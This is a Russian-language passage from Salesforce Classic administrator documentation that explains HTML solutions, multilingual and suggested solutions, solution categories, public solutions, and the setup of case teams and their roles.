• Включенная поддержка HTML-решений не может быть отключена.

• Текстовое решение, открытое и сохраненное в редакторе HTML, становится HTML-решением.

• HTML-решениядоступнынапортале самообслуживания, наклиентскомпорталеив системе Salesforce, а такжев качестве
общедоступных решений.

• HTML-теги, добавленные в решение посредством редактора HTML, отображаются после его сохранения в виде текста.

• В списковых представлениях и результатах поиска отображаются только первые 255 символов из сведений об
HTML-решении. Данное количество охватывает удаленные HTML-теги и изображения.

• Каждое HTML-решение может содержать не более 32 000 символов, включая HTML-теги.

• Форматирование HTML сохраняется в печатной версии решения.

• Гиперссылки, выбранные в HTML-решении, открываются в новом окне обозревателя.

• Все изображения, подлежащие добавлению в HTML-решения, должны быть загружены на вкладку «Документы».
Изображения в сведениях об HTML-решениях не будут отображаться в списковых представлениях и отчетах.

• HTML-решения могут быть созданы на любом языке, поддерживаемом системой Salesforce.

Рекомендации
Ниже перечислены HTML-теги, которые могут использоваться в HTML-решениях, импортированных в систему Salesforce.
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<q><dt><a>

<samp><em><abbr>

<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>

<table><h6><br>

<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>

<dl>

Ниже перечислены атрибуты, поддерживаемые указанными выше тегами.

sizefacealt

srcheightbackground

stylehrefborder

targetnameclass

widthrowspancolspan

Ниже перечислены префиксы, которые могут использоваться в URL-адресах указанных выше атрибутов.

• http:

• https:

• file:

• ftp:
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• mailto:

• #

• /  (для относительных ссылок)

СМ. ТАКЖЕ:

Категоризация решений

Создание решений

Общие сведения о многоязычных решениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Многоязычныерешения» позволяетпереводитьрешенияикатегориирешений
на языки, поддерживаемые системой Salesforce, чтобы клиенты и сотрудники службы
поддержкимоглииспользоватьпривычныеимязыкидляпоискаответовнаполученные
вопросы.

Ниже перечислены преимущества многоязычных решений, позволяющие снизить
затраты на поддержку.

• Рост степени удовлетворения клиентов благодаря отправке ответов на привычных
им языках.

• Снижениеколичествавходящихтелефонныхвызововблагодаряпросмотрурешений
на привычных языках.

• Возможность централизованного управления запросами на разных языках.

Ниже перечислены основные понятия, связанные с функцией «Многоязычные решения».

Основное решение
Решение, созданное на любом языке, поддерживаемом системой Salesforce. Основное решение может быть связано
с переведенными решениями, но не может быть связано с другим основным решением.

Переведенное решение
Решение, переведенное на другой язык, поддерживаемый системой Salesforce, и связанное только с одним основным
решением. Язык переведенного решения должен отличаться от языка основного решения или языков других
переведенных решений, связанных с данным основным решением. Переведенное решение не может быть связано с
другими переведенными решениями. Переведенные решения помечаются значком на страницах сведений о
решениях, страницах редактирования решений, в списковых представлениях решений и результатах поиска по
решениям.

Ниже перечислены области приложения, поддерживающие использование многоязычных решений.

Вкладка «Решения»
Присозданиирешениявыберитенужныйязыквраскрывающемсясписке «Язык». Сохраненноерешениестановится
основным. Чтобы создать переведенное решение, нажмите кнопку «Создать» в связанном списке «Переведенные
решения» на странице сведений об основном решении. Статусы переведенных решений, связанных с основным
измененным решением, могут быть также изменены.

Вкладка «Обращения»
Чтобы найти решения по обращению на всех языках, введите ключевые слова в поле поиска связанного списка
«Решения» инажмитекнопку «Найтирешение». Есливорганизациивключенаподдержкапредложенныхрешений,
нажмите кнопку «Просмотр предложенных решений», чтобы найти многоязычные решения, которые содержат
слова, встречающиеся в обращении.
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Портал самообслуживания
Если на портале самообслуживания включена функция поиска многоязычных решений, то найденные решения
автоматическиотображаютсяна языке, выбранномна странице сведенийопользователепортала самообслуживания.
Чтобы просмотреть найденные решения на другом языке или на всех поддерживаемых языках, воспользуйтесь
раскрывающимся списком «Язык». По умолчанию страница входа на портал самообслуживания отображается на
языке организации.

Общедоступные решения
Если общедоступные решения поддерживают функцию поиска многоязычных решений, то найденные решения
могут быть просмотрены на другом языке или на всех поддерживаемых языках, доступных в раскрывающемся списке
«Язык». По умолчанию общедоступные решения отображаются на языке организации.

Категории решений
Пользователисполномочием «Управлениепереводом» могутиспользоватьсредствопереводадляпереводакатегорий
решенийсцельюихотображенияна языкекаждогопользователяна вкладке «Решения» инапривычномязыкекаждого
клиента на портале самообслуживания (язык выбирается в параметрах пользователя). Категории общедоступных
решений не могут быть переведены.

Отчеты
Отчет «Переведенныерешения» позволяетотслеживатьпереведенныерешения со статусом «Устарело». Кроме того,
данныйотчетпозволяетпросмотреть заголовкиисведенияопереведенныхрешениях. Чтобысоздатьнастраиваемый
отчет по многоязычным решениям, воспользуйтесь типом отчета «Основные и переведенные решения».

Списковые представления
Чтобы просмотреть переведенные решения со статусом «Устарело», которые нуждаются в обновлении, создайте
настраиваемое списковое представление на вкладке «Решения» и введите следующий критерий поиска: «"Устарело"
"равно" "Истина"».

Импорт
Мастер импорта данных позволяет импортировать и связывать основные и переведенные решения.

Дополнительнуюинформациюовключениимногоязычныхрешенийсм. вразделе «Включениемногоязычныхрешений»
на странице 3135.

СМ. ТАКЖЕ:

Категоризация решений

Создание решений
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Общие сведения о предложенных решениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
предложенных решений:
• «Настройка

приложения»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Функция «Предложенные решения» позволяет просматривать не более 10 возможных
решенийпо отдельному обращениюна странице сведенийоб обращении, клиентском
портале Salesforce или портале самообслуживания.

Ниже перечислены преимущества предложенных решений, позволяющие снизить
затраты на поддержку.

• Сокращение времени принятия решений по обращениям

• Повышение эффективности службы поддержки путем предоставления ее
сотрудникам упреждающего доступа ко всем решениям по любым обращениям

• Предоставлениеклиентамвозможностирешенияизакрытиясобственныхобращений

Отображаемые решения не могут быть найдены путем обычного поиска по ключевым
словам. Нижеперечисленыпеременные, используемыевформуле, котораяавтоматически
определяет степень соответствия каждого решения отдельному обращению.

• Частота употребления слова во всех решениях

• Частота употребления слова в похожих обращениях со связанными решениями

• Близость ключевых слов в решениях

• Сходство слов с самозакрывающимися обращениями и решениями, которые
оцениваются пользователями портала самообслуживания как полезные

• Количество дополнительных обращений, связанных с решением

Ниже перечислены компоненты приложения, которые поддерживают использование
предложенных решений.

Вкладка «Обращения»
Чтобы просмотреть список возможных решений по обращению, нажмите кнопку
«Просмотрпредложенныхрешений»на страницесведенийобобращении. Если
ворганизациивключенаподдержкамногоязычныхрешений, тонайденныерешения
отображаются на всех соответствующих языках. Критерии поиска, введенные на
одном языке, могут быть обработаны на другом языке иным способом, что может сказаться на точности найденных
решений.

Клиентский портал и портал самообслуживания
Возможные решения могут быть просмотрены при отправке обращения или при просмотре обращений в
интерактивном режиме.

Предложенные решения могут использоваться для самостоятельного закрытия собственных обращений.

При регистрации новых обращений или нажатии кнопки «Просмотр предложенных решений» на странице
сведенийотекущемобращениипосредствомклиентскогопорталаилипортала самообслуживания, отображающийся
списокпредложенныхрешенийсодержитрешениянаразныхязыкахдляорганизаций, в которыхвключенаподдержка
многоязычных решений. При выборе решения из списка клиенту отображается вопрос «Содержит ли данное
решение ответ на Ваш вопрос?», на который можно ответить «Да» и затем указать причину закрытия обращения.
При этом обращение закрывается с соответствующей пометкой в поле «Закрыто пользователем портала
самообслуживания». При выборе ответа «Нет» клиент возвращается к списку предложенных решений. В случае
отсутствияпредложенныхрешенийстраница «Предложенныерешения» пропускается, а клиентпереходитнастраницу
сведений об обращении.
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Правила автоматического ответа по обращениюи сообщения эл. почты
Клиенты могут принимать решения по собственным обращениям без помощи сотрудников службы поддержки.
Рекомендуем создать автоматические электронные ответы для обращений, отправленных посредством эл. почты,
функции Web-to-Case илипортала самообслуживания. Добавьте вшаблонавтоматического электронногоответаполе
слияния {!Case_Suggested_Solutions}, которое позволяет вставлять прямые ссылки на тему и описание
каждого возможного решения в исходящие сообщения эл. почты.

Прим.: Отправкапакетныхрассылокпо электроннойпочте, использующихшаблоныс указаннымвышеполем
слияния, может занимать несколько минут, поэтому не рекомендуется.

Поля «Закрыто пользователем портала самообслуживания» и «Закрыто при создании» могутбытьдобавленывмакеты
страниц обращений. Данные поля настраиваются системой Salesforce автоматически и не могут быть изменены. Чтобы
просмотреть сведения о закрытии обращений, выполните отчеты по полям «Закрыто пользователем портала
самообслуживания» и «Закрыто при создании».

• Чтобы просмотреть количество обращений, закрытых пользователями на портале самообслуживания с помощью
предложенных решений, выполните отчет по полю «Закрыто пользователем портала самообслуживания».

• Чтобыпросмотретьколичествообращений, сохраненныхизакрытыхприсозданиисотрудникамислужбыподдержки,
выполните отчет по полю «Закрыто при создании».

Прим.:

• Предложенные решения не отображают статьи Salesforce Knowledge.

• Предложенныерешениянедоступныдляобщедоступныхрешений, таккакихпользователямнепредоставляются
полномочия входа, позволяющие создавать или просматривать обращения.

СМ. ТАКЖЕ:

Настройка параметров поддержки

Общие сведения о многоязычных решениях
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Настройка параметров решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
решений:
• «Настройка

приложения»

Чтобы настроить параметры решений, выполните указанные ниже действия.

1. Введите строку «Параметры решений» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры решений».

2. Нажмите кнопку «Правка».

3. Чтобы включить возможность просмотра и поиска решений по категориям,
установите флажок «Включить просмотр решения».

Данный параметр позволяет просматривать решения на вкладке «Решения», на
клиентском портале и при принятии решения по обращению.

4. Чтобы включить возможность перевода решений на разные языки, установите
флажок «Включить многоязычные решения».

5. Чтобы добавить раскрывающийся список «Язык» на портал самообслуживания,
который позволяет автоматически ограничивать результаты поиска решениями,
соответствующими языку пользователя портала самообслуживания, установите
флажок «Включить поиск многоязычных решений на портале самообслуживания».
Раскрывающийсясписок «Язык» позволяетпользователямпорталасамообслуживания
выполнять поиск решений на определенном языке или на всех языках,
поддерживаемых системой Salesforce.

6. Чтобы добавить раскрывающийся список «Язык», позволяющий пользователям
выбирать языкдляпоискаобщедоступныхрешений, установитефлажок «Включить поиск многоязычных решений
для общедоступных решений». Раскрывающийсясписок «Язык» позволяетпользователямобщедоступныхрешений
выполнять поиск решений на определенном языке или на всех языках, поддерживаемых системой Salesforce.

7. Чтобысоздаватьиотображать HTML-решения, установитефлажок «Включить HTML-решения». Еслиданныйфлажок
установлен, то HTML-решения отображаются в системе Salesforce, в общедоступных решениях, на портале
самообслуживания и клиентском портале Salesforce. HTML-решения поддерживаютформатирование сведений путем
изменения шрифтов и цветов, а также добавления изображений и гиперссылок.

Внимание: Установленныйфлажок «Включить HTML-решения» не может быть снят.

8. Чтобыотображать врезультатахпоисканеболее 150 символоврешения, установитефлажок «Сводка по решению».
Снятие данного флажка приводит к удалению сводки по решению из результатов поиска.

9. Чтобыотображатьврезультатахпоисканеболее 150 символовпутиккатегориямрешений, установитефлажок «Путь
к встроенной категории решений». Снятие данного флажка приводит к удалению пути из результатов поиска.

10. Нажмите кнопку «Сохранить».

11. Дополнительную информацию о включениифункции просмотра решений в общедоступных решениях или на
портале самообслуживания см. в разделах «Включение общедоступных решений» на странице 3137 и «Включение
функций и параметров портала самообслуживания» на странице 2719.

При необходимости настройте категорию верхнего уровня, доступную общедоступным решениям и пользователям
портала самообслуживания. Чтобы пользователи могли просматривать все категории и все решения, отображаемые
напорталесамообслуживанияиливобщедоступныхрешениях, рекомендуемоставитьданныйпараметрбезизменений.
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Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

СМ. ТАКЖЕ:

Категоризация решений

Управление категориями решений

Включение многоязычных решений

Начало работы с категориями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
категорий решений:
• «Управление

категориями»

Чтобы гарантировать успешное развертывание решений, выполните указанные ниже
действия.

1. Определите категории, необходимые службе поддержки.

Помните, что клиентам может быть разрешен поиск решений по категориям в
общедоступных решениях и на портале самообслуживания. При необходимости
доступ клиентов к решениям может быть ограничен определенной категорией и
всеми ее подкатегориями.

Прим.: Начиная с выпуска Spring'12 портал самообслуживаниянедоступендля
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

2. Определите категории (см. раздел «Определение категорий решений» на странице
3133).

3. Назначьте категории решениям (см. раздел «Категоризация решений» на странице
2518). Прежде чем включить поддержку категорий решений в организации,
администраторы и пользователи с полномочием «Управление категориями» могут
назначить решениям нужные категории.

4. Создайте настраиваемый отчет типа «Категории решений» для проверки
категоризации всех решений. Чтобы найти некатегоризированные решения,
воспользуйтесь расширеннымифильтрами отчета; выберите поле «Имя категории» и оператор «равно», а третье
полеоставьтенезаполненным. Преждечемвключитьподдержку категорийрешенийворганизации, администраторы
и пользователи с полномочием «Управление категориями» могут создать отчеты по категориям решений.

5. Включитеобзоркатегорийрешенийнавкладке «Решения» (см. раздел «Настройкапараметроврешений»настранице
3131).

6. Включите обзор категорий решений для клиентов в общедоступных решениях и на портале самообслуживания. См.
разделы «Включение общедоступных решений» на странице 3137 и «Включение функций и параметров портала
самообслуживания» на странице 2719.

7. Выберите категорию верхнего уровня, доступную клиентам в общедоступных решениях и на портале
самообслуживания. Данная возможность позволяет предоставлять доступ к определенным категориям только
внутренним пользователям.
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Чтобы предоставить клиентам доступ ко всем категориям и всем решениям, отображаемым на портале
самообслуживания или в общедоступных решениях, рекомендуем оставить данное поле незаполненным.

СМ. ТАКЖЕ:

Управление категориями решений

Определение категорий решений
Чтобыначать работу, рекомендуем создать категории решений. Категория «Все решения» автоматически добавляется на
верхний уровень иерархии решений. Данная категория не может быть переведена или дополнена решениями.

1. Введите строку «Категории решений» вполе «Быстрый поиск» вменю «Настройка», затемвыберитепункт «Категории
решений».

2. Чтобы создать подкатегорию, щелкните ссылку «Добавить категорию».

3. Введите имя категории. Имена категорий не должны содержать символы «\».

4. При необходимости выберите другую родительскую категорию. Родительская категория — это категория,
расположенная в иерархии на один уровень выше текущей категории.

5. Выберите порядок сортировки создаваемых подкатегорий.

• Чтобы отсортировать подкатегории по алфавиту, выберите значение «Алфавитный порядок».

• Чтобыотсортироватьподкатегориивдругомпорядке, выберите значение «Настраиваемыйпорядок» (см. подраздел
«Добавление и сортировка подкатегорий» на странице 3133).

6. Нажмите кнопку «Сохранить».

7. Назначьте созданные категории решениям. См. раздел «Категоризация решений» на странице 2518. Прежде чем
включитьподдержкукатегорийрешенийворганизации, администраторыипользователисполномочием «Управление
категориями» могут назначить решениям нужные категории.

8. Включите возможность просмотра категорий решений на вкладке «Решения». См. раздел «Настройка параметров
решений» на странице 3131.

9. Дополнительнуюинформациюовключениифункциипросмотракатегорийрешенийвобщедоступнойбазе знаний
или на портале самообслуживания см. в разделе «Включение общедоступных решений» на странице 3137.

Редактирование и удаление категорий

Ниже перечислены действия, доступные в списке категорий решений.

• Чтобы изменить имя категории, родительскую категорию или порядок сортировки, щелкните ссылку «Правка».

• Чтобы удалить категорию, щелкните ссылку «Удал.». Решения, связанные с категорией, не могут быть удалены.

Прим.: Категории, используемые клиентским порталом Salesforce, не могут быть удалены. Дополнительную
информацию см. в разделе «Включение входа и параметров клиентского портала» на странице 2655.

• Чтобы просмотреть сведения о категории, щелкните имя нужной категории.

Добавление и сортировка подкатегорий

Ниже перечислены действия, доступные на странице сведений о категории.

• Чтобы добавить подкатегорию, нажмите кнопку «Создать».
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• Выберите настраиваемый порядок сортировки подкатегорий.

1. Выберите значение «Настраиваемыйпорядок» в раскрывающемся списке «Порядок сортировки подкатегорий».

2. Чтобы определить порядок сортировки подкатегорий, введите числа в столбец «Порядок».

3. Нажмите кнопку «Изменить порядок».

СМ. ТАКЖЕ:

Категоризация решений

Управление категориями решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
категорий решений:
• «Управление

категориями»

Категории решений позволяют группировать похожие решения. Решения, которым
назначеныкатегории, могутбытьпросмотреныинайденыпосоответствующейкатегории
навкладке «Решения» илиприпринятиирешенияпообращению. Крометого, категории
могут использоваться для просмотра решений в общедоступных решениях, на портале
самообслуживания или клиентском портале.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

СМ. ТАКЖЕ:

Начало работы с категориями

Определение категорий решений
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Включение многоязычных решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
многоязычных решений:
• «Настройка

приложения»

Функция «Многоязычные решения» позволяет пользователям переводить решения на
разные языки.

Подготовка к включению многоязычных решений
Прежде чем включить поддержку многоязычных решений, выполните указанные ниже
действия.

• Выполнитеотчетыпорешениям, позволяющиеобнаружитьлюбыеготовыерешения,
которые уже переведены или будут преобразованы в переведенные решения в
результате включения поддержки многоязычных решений.

Если поддержка многоязычных решений включается впервые, то все текущие
решения автоматически становятся основными. Переведенные решениямогут быть
созданыизосновныхрешенийпутем связыванияосновногорешения, неимеющего
переведенных решений, с основным решением на другом языке посредством поля
поиска «Основное решение».

• Переведите любые текущие категории решений.

Переведенные решения наследуют категории основных решений. Рекомендуем
перевести категории решений до включения поддержки многоязычных решений, а
затем связать решения между собой. Данный порядок действий позволяет связать
решения с правильными категориями.

Включение многоязычных решений
Чтобы включить многоязычные решения, выполните указанные ниже действия.

1. Введите строку «Параметры решений» в поле «Быстрый поиск» вменю «Настройка» и выберитепункт «Параметры
решений».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить многоязычные решения».

Принеобходимостиустановитефлажки «Включить поиск многоязычных решений на портале самообслуживания»
и «Включить поиск многоязычных решений для общедоступных решений», чтобы разрешить клиентам
просматривать результаты поиска на конкретном языке или на всех поддерживаемых языках посредством
раскрывающегося списка «Язык».

4. Нажмите кнопку «Сохранить».

5. Чтобынастроитьмакетыстраницрешений, добавьтеполя «Заголовок основного решения», «Сведения об основном
решении» и «Устарело», а также связанный список «Переведенные решения». Раскрывающийся список «Язык» и
поля поиска «Основное решение» автоматически добавляются в макеты страниц решений при включении
многоязычных решений.

Совет: Чтобы упростить процесс перевода многоязычных решений на страницах редактирования, измените
макетраздела «Подробныесведения» (выберите 2 столбца) иразместитеполя «Заголовок основного решения»
и «Сведения об основном решении» напротив друг друга. Чтобы предоставить пользователям возможность
быстрого сравнения основных и переведенных решений, разместите поля «Заголовок решения» и «Сведения
о решении» напротив друг друга, но ниже указанных выше полей. Обратите внимание, что поля «Заголовок
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основного решения» и «Сведения об основном решении» отображаютсятольконастраницахредактирования
переведенных решений.

6. Чтобыразрешитьпрофилямилинаборамполномочийсполномочиями «Создание» и «Редактирование» длярешений
редактирование поля поиска «Основное решение», настройте параметры безопасности поля.

Еслиполепоиска «Основное решение» доступнодляредактирования, топользователимогут связыватьпереведенные
решения с основными решениями.

Безопасность поля доступна только в версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

7. Чтобы сделать поле «Устарело» доступным для всех профилей или наборов полномочий с полномочием «Чтение»
для решений, настройте параметры безопасности поля.

Безопасность поля доступна только в версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

8. При необходимости добавьте настраиваемое поле с областью подробного текста «Комментарии к переводу» в
макеты страниц решений, чтобы предоставить пользователям возможность добавления комментариев в отношении
перевода решений. Каждый комментарий должен содержать дату, благодаря чему пользователи смогут быстро
определить время их добавления.

Развертывание многоязычных решений
Ниже перечислены действия, доступные после включения многоязычных решений.

• Свяжите любые переведенные решения с соответствующими основными решениями.

Связывание может быть выполнено вручную посредством поля поиска «Основное решение» или путем экспорта
отчета по текущим переведенным решениям и их последующего импорта. Для каждого импортированного
переведенного решения добавьте поле основного решения «Код решения» длиною 15-18 символов в столбец
основных решенийфайла импорта. Чтобы просмотреть поле «Код решения» для основных решений, выполните
отчет «Переведенные решения». Решения, импортированные по ошибке, могут быть удалены из организации путем
пакетного удаления.

СМ. ТАКЖЕ:

Общие сведения о многоязычных решениях

Категоризация решений
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Включение общедоступных решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения веб-доступа
к решениям:
• «Настройка

приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Вкладка «Решения» позволяет сотрудникам службы поддержки создавать решения,
которые могут оказаться полезными для пользователей других организаций. Чтобы
добавить поле и кнопку поиска решений на собственный веб-сайт, сообщите
администратору веб-сайта код HTML, предоставленный компанией Salesforce. Данная
функция называется «Общедоступные решения».

Общедоступные решения позволяют клиентам самостоятельно находить ответы на
типичные вопросы. Все решения, для которых выбрано значение «Проверено» в поле
«Статус» и установлен флажок «Отображается в общедоступной базе знаний»,
доступны в качестве общедоступных решений, включая любые вложения.

В отличие от портала самообслуживания и клиентского портала Salesforce,
общедоступные решения могут использоваться без входа в систему; пользователям
доступен только поиск решений, но не отправка обращений. Дополнительную
информацию о портале самообслуживания и клиентском портале см. в разделах
«Настройка портала самообслуживания» на странице 2718 и «Настройка клиентского
портала» на странице 2646.

Прим.:

• Поле и кнопка поиска отображаются во фрейме, поэтому доступны только в
том случае, если веб-сайт поддерживает использование фреймов.

• Предложенные решения не отображают статьи Salesforce Knowledge.

Чтобы включить веб-доступ к решениям, выполните указанные ниже действия.

1. Введите строку «Общедоступные решения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
<b>«Общедоступные решения»</b>.

2. Нажмите кнопку «Правка».

3. Установите флажок «Общедоступные решения включены».

4. Чтобыразрешитьклиентампросмотррешенийпокатегориям, установитефлажок «Включить просмотр решения».
Категории общедоступных решений не могут быть переведены на другие языки.

Есливорганизациивключенаподдержкамногоязычныхрешений, можетедобавитьраскрывающийсясписок «Язык»,
позволяющийклиентамвыбирать языкдляпоискарешений. Дополнительнуюинформациюсм. вразделе «Настройка
параметров решений» на странице 3131.

5. Есливорганизациивключенафункцияпросмотракатегорийрешений, заполнитеполе «Категория верхнего уровня».
Клиенты могут просматривать все решения в данной категории и ее подкатегориях, если установлен флажок
«Отображается в общедоступной базе знаний».

Чтобыпользователимоглипросматриватьвсерешениявовсехкатегориях, которыеотображаютсякакобщедоступные
решения, оставьте поле «Категория верхнего уровня» незаполненным.

6. Чтобы изменить внешний вид фрейма на веб-сайте, воспользуйтесь полями «Максимальная ширина страницы» и
«Максимальная высота страницы».
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7. Введите URL-адрес страницы CSS в поле «URL-адрес таблицы стилей». Файл CSS может не существовать. Загрузите
образец файла или воспользуйтесь собственнымфайлом.

8. Чтобы изменить термин или фразу, используемую во фрейме для описания решений, воспользуйтесь полями
«Альтернативный термин». Введите термин в единственном и множественном числе.

9. Нажмите кнопку «Сохранить».

10. Чтобы воспользоваться таблицей стилей Salesforce, нажмите кнопку «Загрузить образецфайла CSS».

11. Нажмите кнопку «Создать HTML».

12. Скопируйте созданный HTML-код и нажмите кнопку «Готово».

13. Чтобы добавить HTML-код (и загруженныйфайл CSS) на веб-сайт, отправьте эти сведения администратору веб-сайта.

• Добавьте HTML-код на веб-страницу.

• Настройте загруженную таблицу стилей.

• Разместите таблицу стилей в общедоступной области веб-сервера.

Группы, работающие с обращениями, и очереди обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создайте группу сотрудников для совместной работы в целях более быстрого решения
обращений, а также создайтеочередидляраспределениярабочихнагрузок среди групп.

Группы, работающие с обращениями
Группа, работающая с обращением, помогает группам сотрудников, совместно
работающих над отдельным обращением, например агентам службы поддержки,
менеджерам службы поддержки и менеджерам по продукции.

Очереди
Очереди помогают ранжировать, распространять и назначать записи группам с
общиминагрузками. Доступкочередямосуществляетсяизсписковыхпредставлений.
Участники очереди могут открыть в ней любую запись и принять ответственность
за нее. Очереди доступны для интересов, обращений, сервисных контрактов и настраиваемых объектов.

Группы, работающие с обращениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Группа, работающая с обращением, помогает группам сотрудников, совместно
работающих над отдельным обращением, например агентам службы поддержки,
менеджерам службы поддержки и менеджерам по продукции.

Еслиадминистраторнастроилработающиесобращениямигруппы, пользователимогут
бытьдобавленывсвязанныйсписокобращения «Группы, работающиесобращениями».
Придобавленииучастника группывыберитеоднуизпредопределенныхролей, которая
определяет его функции в отношении данного обращения. Роли определяют уровень
доступа к обращению, например, «Только для чтения» или «Для чтения и записи».

Можно добавить контакты в работающие с обращениями группы, но обращения будут
доступныэтимгруппам, толькоеслионивключенывкачествепользователейклиентского
портала, назначенных для макетов страниц обращений. Пользователи клиентского
портала не могут обновлять работающие с обращениями группыили просматривать роли работающих с обращениями
групп. Группы, работающие с обращениями, недоступны для партнерского портала.

3138

Группы, работающие с обращениями, и очереди обращенийНастройка и обслуживание инструментов службы поддержки



Прим.: Администраторы могут предопределять группы, работающие с обращениями, для быстрого добавления
пользователей, с которыми вы часто работаете. Администраторы могут создавать правила назначения, которые
добавляют предопределенные группы к обращениям, соответствующим определенным критериям. Кроме того,
администраторы могут создавать электронные предупреждения, которые уведомляют участников группы, когда в
обращении выполняется какое-либо действие.

Совет: Для фильтрации списка обращений участник группы должен выбрать «Мои группы, работающие с
обращениями». Для создания отчета по работающим с обращениями группам со своим участием выберите
«Обращения моей рабочей группы» в раскрывающемся списке «Показать».

Настройка групп, работающих с обращениями
Создайте работающие с обращениями группы для обеспечения совместной работы сотрудников при принятии
решений по обращениям. Перед созданием групп, работающих с обращениями, определите роли группы.

Создание ролей группы, работающей с обращениями
Перед установкойилипредопределениемгрупп, работающихсобращениями, создайтеролидляопределенияуровня
доступа участников групп к обращениям.

СМ. ТАКЖЕ:

Очереди
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Настройка групп, работающих с обращениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки групп,
работающих с
обращениями:
• «Настройка

приложения»

И

«Управление
пользователями»

Для добавления участников
рабочей группы:
• «Редактирование» для

обращений

Создайте работающие с обращениями группы для обеспечения совместной работы
сотрудников при принятии решений по обращениям. Перед созданием групп,
работающих с обращениями, определите роли группы.

Чтобыупроститьпользователямсозданиеиработу с группамипообращениям, добавьте
связанныйсписок «Группа, работающаяпообращениям» вмакетыстраницобращений.
Прижелании создайте электронныепредупреждения, которые уведомляют участников
группы, когда по обращению выполняется какое-либо действие, например добавляется
комментарий. Кроме того, при наличии предопределенных групп, работающих по
обращениям, создайте правила назначения, которые добавляют группы в обращения,
соответствующие определенным критериям (например, когда обращения поступили
по электронной почте).

Прим.: Группы, работающие с обращениями, учитываются в общем объеме
хранилища организации. Каждый участник группы, работающей с обращениями,
использует 2 КБ хранилища.

СМ. ТАКЖЕ:

Группы, работающие с обращениями

Создание макетов страниц

Настройка правил назначения
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Создание ролей группы, работающей с обращениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки групп,
работающих с
обращениями:
• «Настройка

приложения»

И

«Управление
пользователями»

Для добавления участников
рабочей группы:
• «Редактирование» для

обращений

Перед установкойилипредопределениемгрупп, работающихсобращениями, создайте
роли для определения уровня доступа участников групп к обращениям.

Можносоздаватьнеограниченноеколичестворолейгрупп, работающихсобращениями.
Однаконерекомендуетсяпревышать 20 ролей, чтобынеперегружатьучастников группы.

1. Введите строку «Роли группы, работающей с обращениями» вполе «Быстрый поиск»
вменю «Настройка», затемвыберите«Ролигруппы, работающейсобращениями».

2. Нажмите «Создать» и введите название роли.

3. В раскрывающемся списке «Доступ к обращению» выберите уровень доступа роли
к обращениям.

Для чтения и записи
Участники могут просматривать и редактировать обращения, а также добавлять
связанные записи, примечания и вложения в них.

Только для чтения
Участникимогутпросматриватьобращенияидобавлятьсвязанныезаписивних.

Личный
Участники не имеют доступа к обращениям.

4. Чтобыучастникисданнойрольюбылидоступныпользователямклиентскогопортала,
просматривающим обращения, выберитеОтображать в клиентском портале.
Даже если параметр «Отображать в клиентском портале» не выбран, пользователи
клиентского портала, добавленные в работающую с обращениями группу, могут
просматривать их в связанных списках «Группа, работающая с обращениями».

5. Нажмите кнопку «Сохранить».

Прим.: Роли не могут быть удалены, однако можнощелкнуть «Заменить» рядом
с ролью, которую нужно заменить во всех обращениях. Если организация имеет
единственную роль, она не может быть заменена.

